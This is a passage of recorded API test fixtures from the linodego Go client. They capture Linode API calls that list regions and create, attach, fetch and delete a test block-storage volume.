"Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-vol-test-def","region":"ap-west","tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes method: POST response: body: '{"id": 566468, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "317" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/566468 method: GET response: body: '{"id": 566468, "status": "active", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "315" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/566468 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestVolume_WaitForLinodeID_volume.yaml000066400000000000000000000331611455402072200340650ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-vol-test-def","region":"ap-west","tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes method: POST response: body: '{"id": 566469, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "317" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"linode_id":39430393,"config_id":41975940}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/566469/attach method: POST response: body: '{"id": 566469, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": 39430393, "linode_label": "go-test-ins-7i9d535p9kiz", "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "343" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write,linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/566469 method: GET response: body: '{"id": 566469, "status": "active", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": 39430393, "linode_label": "go-test-ins-7i9d535p9kiz", "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "341" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/566469 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestVolume_WaitForLinodeID_waiting.yaml000066400000000000000000000034701455402072200342200ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/566469 method: GET response: body: '{"id": 566469, "status": "active", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": 39430393, "linode_label": "go-test-ins-7i9d535p9kiz", "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "341" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestVolumes_List.yaml000066400000000000000000000027641455402072200307350ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestWaitForResourceFree.yaml000066400000000000000000001124601455402072200321700ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", 